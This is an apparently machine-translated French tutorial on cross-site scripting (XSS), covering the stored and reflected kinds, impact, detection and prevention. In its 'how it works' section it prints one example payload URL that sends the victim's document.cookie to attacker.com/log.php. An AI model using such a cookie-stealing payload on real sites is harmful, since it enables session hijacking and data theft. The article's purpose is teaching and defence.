Introduction au Cross Site Scripting

  • Avec le nombre croissant d'applications Web sur Internet, la sécurité Web est devenue une préoccupation importante. Le piratage et le vol des données privées des utilisateurs sont désormais monnaie courante et les menacent d'utiliser n'importe quelle application. Le Cross Site Scripting est l'une des attaques populaires contre la sécurité Web des utilisateurs. Voyons ce que sont les scripts intersites.
  • Cross Site Scripting, appelé XSS, est une vulnérabilité de sécurité informatique dans laquelle l'attaquant vise à ajouter du code malveillant sous forme de scripts dans un site Web / une page Web de confiance. Il s'agit d'une attaque par injection de code côté client et le script malveillant s'exécute sur le navigateur Web de l'utilisateur lorsqu'il accède à ce site Web / à cette page Web. Indirectement, ces sites Web deviennent un moyen d'envoyer le code malveillant à l'utilisateur. En injectant des scripts, les attaquants contournent le DOM (Document Object Model) des restrictions de sécurité et ont accès au contenu de la page sensible de l'utilisateur, aux cookies de session et à l'historique de navigation, la plupart des données privées conservées par le navigateur.
  • Les sites Web contenant des forums, des babillards électroniques, des pages Web qui autorisent les commentaires et ceux qui utilisent des entrées utilisateur non autorisées et la sortie ainsi générée sont les plus vulnérables aux attaques XSS. Bien que les attaques XSS soient possibles dans VBScript, ActiveX et CSS, elles sont les plus courantes en Javascript car elles sont fondamentales pour la plupart des expériences de navigation.

Différents types de Cross Site Scripting (XSS)

Bien qu'il n'y ait pas de classification particulière de Cross Site Scripting, certains experts l'ont classé en deux types qui sont discutés ci-dessous en détail:

Attaques XSS stockées :

  • Les XSS stockés sont ceux dans lesquels le script malveillant injecté par l'attaquant est stocké dans la base de données et s'exécute sur le navigateur de l'utilisateur lorsqu'il essaie d'accéder à la base de données sous une forme ou une autre. Ceux-ci sont également appelés XSS persistants ou stockés. C'est l'une des attaques les plus dévastatrices et se produit surtout lorsque le site Web / la page Web permet de commenter ou permet l'incorporation de contenu HTML.
  • L'attaquant ajoute le javascript dans le commentaire qui est stocké dans la base de données et lorsque l'utilisateur accède à la page affectée en récupérant les données de la base de données, un script malveillant s'exécute dans son navigateur et cet attaquant obtient un accès non autorisé aux données privées de l'utilisateur.
  • Par exemple, dans un site Web de commerce électronique comme Olx qui a une boîte de message non désinfectée pour la description du produit, un attaquant étant le vendeur du produit y ajoute le javascript malveillant et il sera stocké dans la base de données du site Web.
  • Lorsque l'acheteur ouvrira la description du produit pour afficher les détails du produit, il deviendra désormais la victime lorsque le script s'exécute dans son navigateur Web et tous les détails de l'utilisateur autorisé par le navigateur seront détournés.

Procédure Attaques XSS:

  • Il s'agit de l'un des moyens les plus courants par lesquels un attaquant peut provoquer une attaque XSS sur l'utilisateur. Fondamentalement, dans les attaques de procédure XSS, l'attaquant cible la victime en envoyant un e-mail, un lien malveillant ou en joignant une chaîne dans le résultat de la recherche qui pointe vers un site Web de confiance mais contient le code javascript malveillant.
  • Si une victime clique sur cette URL, elle lance la demande HTTP et envoie une demande à l'application Web vulnérable. La demande revient ensuite à la victime avec une réponse de code javascript embarqué que le navigateur Web exécute en considérant qu'il provient d'un site Web de confiance entraînant le détournement des données confidentielles de son navigateur.
  • Par exemple, dans un site Web de commerce électronique, il existe une zone de recherche dans laquelle un utilisateur peut rechercher les articles et la chaîne écrite dans la zone de recherche est visible dans l'URL du site Web lorsque la demande de recherche est envoyée au serveur.
  • L'attaquant crée un lien dans lequel le script malveillant est concaténé dans l'URL et envoyé à la victime par e-mail. Lorsque la victime ouvre ce lien, la demande est envoyée au site Web malveillant de l'attaquant et toutes les données de navigateur de la victime sont détournées et envoyées au système de l'attaquant.

Comment fonctionne Cross Site Scripting (XSS)?

  • Dans la vulnérabilité Cross Site Scripting (XSS), le principal motif de l'attaquant est de voler les données de l'utilisateur en exécutant le script malveillant dans son navigateur qui est injecté dans le contenu du site Web que l'utilisateur utilise par différents moyens.
  • Par exemple, lorsqu'un utilisateur recherche du texte dans un site Web, la demande est envoyée au serveur sous la forme:

https://www.abcwebsite.com/search?q=text1

Dans le résultat de la recherche, le site Web renvoie le résultat avec ce que l'utilisateur a cherché comme:

Vous avez recherché: text1

Si la fonctionnalité de recherche est vulnérable à XSS, l'attaquant peut ajouter le script malveillant dans l'URL:

https://www.abcwebsite.com/search= document location = https: //attacker.com/log.php? c = '+ encodeURIComponent (document.cookie)
  • Lorsque la victime clique sur ce lien, elle redirige vers le site Web malveillant, à savoir https://attacker.com et toutes les données du navigateur sont directement envoyées à l'ordinateur de l'attaquant, ce qui fait que l'attaquant vole tous les jetons / cookies de session.
  • De cette façon, un attaquant injecte son script malveillant dans l'URL, l'attaquant peut également stocker ce script sur le serveur qui relève de Stored XSS.

Impact des vulnérabilités de script intersite:

L'impact du Cross Site Scripting varie beaucoup. Après avoir exploité la vulnérabilité XSS, un attaquant prend le contrôle total du navigateur de la victime et peut effectuer différentes actions qui varient de petites comme l'affichage de l'historique du navigateur à des actions désastreuses comme l'insertion de vers dans l'ordinateur.

Certaines des actions que l'attaquant peut effectuer en exploitant la vulnérabilité XSS sont les suivantes: -

  1. Fuite d'informations sensibles comme le nom d'utilisateur et le mot de passe.
  2. Insertion de vers sur l'ordinateur.
  3. Rediriger l'utilisateur vers un site Web dangereux et forcer à effectuer certaines actions
  4. Accédez à l'historique de navigation de la victime.
  5. Installation du programme cheval de Troie.
  6. Forcer l'utilisateur à effectuer et à modifier les valeurs dans l'application en obtenant un accès sur

Recherche de vulnérabilités de script intersite:

  • Les vulnérabilités XSS se produisent pour deux raisons: soit l'entrée de l'utilisateur n'est pas validée avant de l'envoyer au serveur, soit la sortie reçue au navigateur n'est pas codée en HTML. En gardant à l'esprit l'impact désastreux de la vulnérabilité XSS et la protection de la vie privée des utilisateurs, il est très important de déterminer si l'application Web est vulnérable à XSS ou non.
  • Bien que XSS soit difficile à identifier et à supprimer, la meilleure façon de vérifier consiste à effectuer la vérification de sécurité du code et à rechercher tous les endroits où l'entrée de la demande HTTP peut apparaître dans une application en tant que sortie. L'utilisation des outils du scanner de vulnérabilités automatiques qui incluent un module de scanner XSS spécialisé pour analyser l'ensemble de l'application Web peut également aider à analyser et à trouver les vulnérabilités dans une application.

Comment prévenir XSS?

  • XSS est une vulnérabilité d'injection de code, il est donc très important d'encoder les données qui sont envoyées au serveur et les données qui proviennent du serveur au navigateur d'un utilisateur.
  • La validation des données est également très importante pour que le navigateur interprète le code sans aucune commande malveillante. Différentes méthodes de prévention ont été introduites en maintenant la validation et l'encodage des données comme priorité pour qu'un site Web soit vulnérable à XSS.

Certains points doivent être ciblés pour empêcher XSS: -

  1. La prise en charge de la trace HTTP sur tous les serveurs Web doit être désactivée car l'attaquant peut voler les cookies et les données du navigateur privé via un appel de trace HTTP à partir du serveur même si document.cookie est désactivé dans le navigateur de la victime.
  2. Les développeurs doivent aseptiser l'entrée et ne doivent jamais sortir les données directement reçues de l'utilisateur sans les valider.
  3. Les liens doivent généralement être interdits s'ils ne commencent pas par les protocoles en liste blanche tels que HTTP: //, https: // empêchant ainsi l'utilisation de schémas URI tels que javascript: //

Conclusion:

Les attaques XSS sont dangereuses et peuvent nuire à la confidentialité de l'utilisateur et dérober les données à moins que l'utilisateur normal ne parcoure attentivement l'application. Ainsi, les développeurs lors du développement de l'application doivent suivre les règles de sécurité strictes, en particulier pour les données et le serveur, afin que l'application soit moins vulnérable à XSS et qu'un plus grand nombre d'utilisateurs puissent s'y fier.

Articles recommandés

Cela a été un guide pour Qu'est-ce que le Cross Site Scripting?. Ici, nous discutons des différents types de sites croisés, de travail, d'impact et de prévention de XSS respectivement. Vous pouvez également consulter nos autres articles suggérés pour en savoir plus -

  1. Fonctionnement de JavaScript
  2. Qu'est-ce qu'une attaque de phishing?
  3. Qu'est-ce qu'une cyberattaque?
  4. Mise en cache HTTP
  5. Comment les cookies fonctionnent-ils en JavaScript avec l'exemple?